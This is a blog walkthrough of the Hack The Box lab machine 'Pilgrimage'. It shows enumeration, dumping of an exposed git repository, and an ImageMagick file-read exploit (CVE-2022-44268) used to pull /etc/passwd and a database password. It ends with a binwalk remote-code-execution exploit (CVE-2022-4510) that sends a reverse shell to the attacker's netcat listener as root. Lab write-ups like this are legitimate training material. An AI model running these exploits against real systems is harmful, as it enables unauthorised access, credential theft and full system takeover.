Skip to main content
  1. Posts/

Pilgrimage - HTB

·10 mins
htb
Table of Contents

Enumeration
#

As always, we can begin with a port scan using nmap:

╰─ nmap -sC -sV 10.129.179.216
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 19:21 EDT
Nmap scan report for 10.129.179.216
Host is up (0.032s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 20:be:60:d2:95:f6:28:c1:b7:e9:e8:17:06:f1:68:f3 (RSA)
|   256 0e:b6:a6:a8:c9:9b:41:73:74:6e:70:18:0d:5f:e0:af (ECDSA)
|_  256 d1:4e:29:3c:70:86:69:b4:d7:2c:c8:0b:48:6e:98:04 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://pilgrimage.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.11 seconds

So we see that there is an HTTP site running on port 80 and it is named pilgrimage.htb, so let’s add this to our /etc/hosts file.

#in your /etc/hosts file
10.129.179.216	pilgrimage.htb

Then, we can go ahead and look at the site:

img

So, the site allows us to upload image files and shrink them. I’m going to perform up some directory enumeration with dirbuster while I look around the site manually.

╰─ dirsearch -u http://pilgrimage.htb/

When we make an account, we gain access to a dashboard page that holds our previous file uploads and their results:

img

Let’s upload an image and analyze the file:

img

img

We can go to the link it generates and save our image for further inspection.

img

Initially, it does appear to shrink the image which is pretty nice, but exiftool doesn’t tell me anything super useful:

╰─ ls -l 
total 16
-rw-r--r-- 1 kali kali  3692 Jun 24 19:53 6497814f8e9bb.jpeg
-rw-r--r-- 1 kali kali 11073 Jun 24 17:58 cat.jpeg

╰─ exiftool 6497814f8e9bb.jpeg 
ExifTool Version Number         : 12.57
File Name                       : 6497814f8e9bb.jpeg
Directory                       : .
File Size                       : 3.7 kB
File Modification Date/Time     : 2023:06:24 19:53:42-04:00
File Access Date/Time           : 2023:06:24 19:53:42-04:00
File Inode Change Date/Time     : 2023:06:24 19:53:42-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
---SNIP---

Using the identify command and the -verbose flag set, we can determine how this file was made:

╰─ identify -verbose 6497814f8e9bb.jpeg
Image:
  Filename: 6497814f8e9bb.jpeg
  Format: JPEG (Joint Photographic Experts Group JFIF format)
  Mime type: image/jpeg
  Class: DirectClass
  Geometry: 112x113+0+0
  ---SNIP---
  Filesize: 3692B
  Number pixels: 12656
  Pixels per second: 35.689MB
  User time: 0.000u
  Elapsed time: 0:01.000
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

We see that the image was shrunken down using ImageMagick 6.9.11, which we can find a few exploits for once we do some googling.

One of our first results shows us a Proof of Concept for arbitrary file read on ImageMagick 7.1, so this should work for us.

CVE-2022-44268
#

Before we move on to using this exploit, let’s go over CVE-2022-44268. You can read all the details yourself here but I will share my short interpretation.

This vulnerability was discovered during an APT simulation and it arises when ImageMagick parses a .png file, specifically when resizing the image. The resulting image could have embedded the content of an arbitrary remote file from the website, if the ImageMagick binary has permissions to read it.

Here is how it works:

  • We (the attacker) craft a PNG file or use an existing one and add a textual chunk type (e.g., tEXt). More about PNG types
  • If the keyword for the chunk is the string “profile” (without quotes), then ImageMagick will interpret the text string as a filename and will load the content as a raw profile.
  • Then, when we download the file it will contain the content of the remote file embedded in the image.

To be more specific, when we upload a file with this textual chunk type:

  • The ReadOnePNGImage function reads the tEXt chunk from the PNG file.
  • The SetImageProfile function checks if the keyword equals “profile”. If it does, the text string is copied as a filename and the content is saved.
  • The FileToStringInfo function stores the content into string_info->datum.
  • If a valid (and accessible) filename is provided, the content is returned to the caller function (FileToStringInfo) and the StringInfo object will return to the SetImageProperty function, saving the blob into the new image generated, thanks to the function SetImageProfile.

Arbitrary File Read
#

The python script that we’ve downloaded does exactly this, it makes an image, specifies the keyword for the text chunk, and adds the target file to read in the data of the image.

Let’s test it out on the target site:

╰─ python3 generate.py -f "/etc/passwd" -o etcpasswd.png 

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > etcpasswd.png

Now, we need to upload this image to the site, shrink it, and download the result and see if the file contents were encoded as we expect.

img

When running that same command from earlier, we see a much larger section of the image data, which is hex encoded.

╰─ identify -verbose 6497906936ee4.png 
Image:
  Filename: 6497906936ee4.png
  Format: PNG (Portable Network Graphics)
---SNIP---
    png:IHDR.width,height: 128, 128
    png:sRGB: intent=0 (Perceptual Intent)
    png:text: 4 tEXt/zTXt/iTXt chunks were found
    png:tIME: 2023-06-25T00:55:05Z
    Raw profile type: 

    1437
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d
6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f
---SNIP---
737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a393938
3a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a

    signature: 78b9dfbaedd0d5cd7cb91c9ff9c2c2c925fd67a642483e6cd977973230841b28
  Artifacts:
    filename: 6497906936ee4.png
    verbose: true
  Tainted: False
  Filesize: 1688B
  Number pixels: 16384
  Pixels per second: 32.7092MB
  User time: 0.000u
  Elapsed time: 0:01.000
  Version: ImageMagick 6.9.11-60 Q16 x86_64 2021-01-25 https://imagemagick.org

Now we can take this huge hex string and plug it into CyberChef to decode it and review the file contents:

img

Now that we know it works and we found a potential target user, we need to actually think of some important file to read. Let’s check on our directory enumeration from earlier:

╰─ dirsearch -u http://pilgrimage.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/pilgrimage.htb/-_23-06-24_19-43-05.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-06-24_19-43-05.log

Target: http://pilgrimage.htb/

[19:43:05] Starting: 
[19:43:06] 200 -   92B  - /.git/config
[19:43:06] 200 -    2KB - /.git/COMMIT_EDITMSG
[19:43:06] 301 -  169B  - /.git  ->  http://pilgrimage.htb/.git/
---SNIP---
[19:43:17] 403 -  555B  - /assets/
[19:43:17] 301 -  169B  - /assets  ->  http://pilgrimage.htb/assets/
[19:43:20] 302 -    0B  - /dashboard.php  ->  /login.php
[19:43:24] 200 -    7KB - /index.php
[19:43:26] 200 -    6KB - /login.php
[19:43:27] 302 -    0B  - /logout.php  ->  /
[19:43:33] 200 -    6KB - /register.php
[19:43:37] 301 -  169B  - /tmp  ->  http://pilgrimage.htb/tmp/
[19:43:37] 403 -  555B  - /tmp/
[19:43:39] 403 -  555B  - /vendor/

Task Completed

We see that there is a git repository accessible so we can download it using git-dumper:

╰─ python3 -m git_dumper http://pilgrimage.htb/.git git  
[-] Testing http://pilgrimage.htb/.git/HEAD [200]
[-] Testing http://pilgrimage.htb/.git/ [403]
[-] Fetching common files
---SNIP---

Looking around at the database.php file we see the following mention of a database that might be interesting to read:

╰─ cat dashboard.php 
<?php
session_start();
if(!isset($_SESSION['user'])) {
  header("Location: /login.php");
  exit(0);
}

function returnUsername() {
  return "\"" . $_SESSION['user'] . "\"";
}

function fetchImages() {
  $username = $_SESSION['user'];
  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM images WHERE username = ?");
  $stmt->execute(array($username));
  $allImages = $stmt->fetchAll(\PDO::FETCH_ASSOC);
  return json_encode($allImages);
}

?>
<!DOCTYPE html>
<html lang="en">

  <head>
---SNIP---

Foothold
#

So, same as before we can make a file with the python script, specifying that we want to read the /var/db/pilgrimage file and review the image after we’ve shrunk it down.

╰─ python3 generate.py -f "/var/db/pilgrimage" -o database.png  

   [>] ImageMagick LFI PoC - by Sybil Scan Research <research@sybilscan.com>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /var/db/pilgrimage
   [>] PoC PNG generated > database.png

Then, following the same steps as last time, you’ll notice that there are a ton of zeros in the text chunk. I opted to scroll through and only decode the hex strings that had some data to examine. Here is what that looked like after I plugged it into the decoder:

img

Now, we’ve got what looks like a password and we can try to use it to SSH in as the emily user:

─ ssh emily@pilgrimage.htb       
emily@pilgrimage.htb's password: 
---SNIP---
emily@pilgrimage:~$ ls
user.txt

Privilege Escalation
#

Now we can begin to try and escalate our privileges. Running linpeas.sh didn’t help me all that much but looking in the emily user’s /.config directory may give us some hints.

emily@pilgrimage:~/.config$ ls -l
total 4
drwxr-xr-x 6 emily emily 4096 Jun  8 00:10 binwalk

emily@pilgrimage:~/.config$ binwalk --help

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk

Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3] ...
---SNIP---

We can see here that the version of binwalk being used is 2.3.2, which after some more light googling is vulnerable to CVE-2022-4510.

CVE-2022-4510
#

When binwalk is run in extraction mode (with the -e flag), it can be tricked into interpreting a file as a plugin if we have the correct PFS (perfectly forwarding secure) filesystem header that binwalk will interpret as a valid filesystem signature.

Thankfully, there is a super useful exploit that we can find here that gives us a reverse shell.

I would recommend reading through it to get a better idea of how this vulnerability works but to summarize:

  • We input an image, our IP address, and our listening port.
  • Appends a reverse shell payload to the input image, then makes a new image.
  • Adds the PFS header to ensure that the payload gets executed by the binwalk program.

Exploiting binwalk
#

So, doing this as the emily user won’t give us too much because we would just get a shell as that user. Let’s use pspy to enumerate some processes and see if the root user is using binwalk anywhere:

emily@pilgrimage:~$ ./pspy64s 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

---SNIP---
2023/06/25 11:56:37 CMD: UID=0    PID=741    | /bin/bash /usr/sbin/malwarescan.sh 
2023/06/25 11:56:37 CMD: UID=0    PID=740    | /lib/systemd/systemd-logind 
2023/06/25 11:56:37 CMD: UID=0    PID=74     | 
2023/06/25 11:56:37 CMD: UID=0    PID=739    | /usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ 
---SNIP---

We see here that the malwarescan.sh bash script is being run with a UID of zero, which is the root user’s ID.

Let’s take a look at that script at /usr/sbin/malwarescan.sh:

emily@pilgrimage:~$ cat /usr/sbin/malwarescan.sh 
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
	filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
	binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
		if [[ "$binout" == *"$banned"* ]]; then
			/usr/bin/rm "$filename"
			break
		fi
	done
done

This is exactly what we need, the script is executing a vulnerable version of binwalk with the -e flag on files in the /var/www/pilgrimage/htb/shrunk/ directory, which we are allowed to write into.

All we need to do is run the exploit code with our IP and listener port, rename the image file, and upload it to the /shrunk directory and wait for a shell:

# creating the malicious image
╰─ python3 CVE-2022-4510.py cat.jpeg 10.10.14.86 1337

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

#copying the file with a different name
╰─ cp binwalk_exploit.png privesc.png

╰─ ls -l
---SNIP---
-rw-r--r-- 1 kali kali   11754 Jun 24 22:21 binwalk_exploit.png
-rw-r--r-- 1 kali kali   11073 Jun 24 17:58 cat.jpeg
-rw-r--r-- 1 kali kali    2763 Jun 24 22:20 CVE-2022-4510.py
-rw-r--r-- 1 kali kali   11754 Jun 24 22:21 privesc.png

Now, just upload this to the /var/www/pilgrimage.htb/shrunk/ directory and open your listener:

# our netcat listener after uploading the file
╰─ nc -lvp 1337         
listening on [any] 1337 ...
connect to [10.10.14.86] from pilgrimage.htb [10.129.179.216] 34624
whoami
root

Related

Topology - HTB
·6 mins
htb
Enumeration # As always, we begin with a port scan: ╰─ nmap -sC -sV 10.
Sandworm - HTB
·15 mins
htb
Sandworm is a medium difficulty Linux machine that kicks off the start of the second competitive season on HTB.
Bookworm - HTB
·11 mins
htb
We start with a port scan as we normally do: ╰─ nmap -sC -sV 10.